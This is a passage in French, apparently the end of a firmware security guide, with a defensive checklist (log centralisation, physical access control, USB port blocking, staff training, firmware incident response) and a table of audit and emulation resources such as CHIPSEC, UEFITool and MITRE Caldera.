| Détection | Centraliser les logs (Splunk, ELK) et définir des règles d'alerte | ☐ |
| Physique | Contrôler les accès physiques aux salles serveurs | ☐ |
| Physique | Bloquer les ports USB non utilisés | ☐ |
| Processus | Former les employés aux risques des clés USB inconnues | ☐ |
| Processus | Mettre en place une procédure de réponse aux incidents firmware | ☐ |
| Ressource | Description | Lien / Référence |
|---|---|---|
| CHIPSEC | Framework open-source d'audit de la sécurité du firmware (Intel) | github.com/chipsec/chipsec |
| UEFITool | Parsing et extraction de firmware UEFI | github.com/LongSoft/UEFITool |
| Cyber-Range Emulator | Environnement Docker multi-zone avec attaquant, victime, routeur, pare-feu et nœuds IoT | github.com/HazemYM02/cyber-range-emulator |
| MITRE Caldera | Plateforme d'émulation d'adversaire automatisée | github.com/mitre/caldera |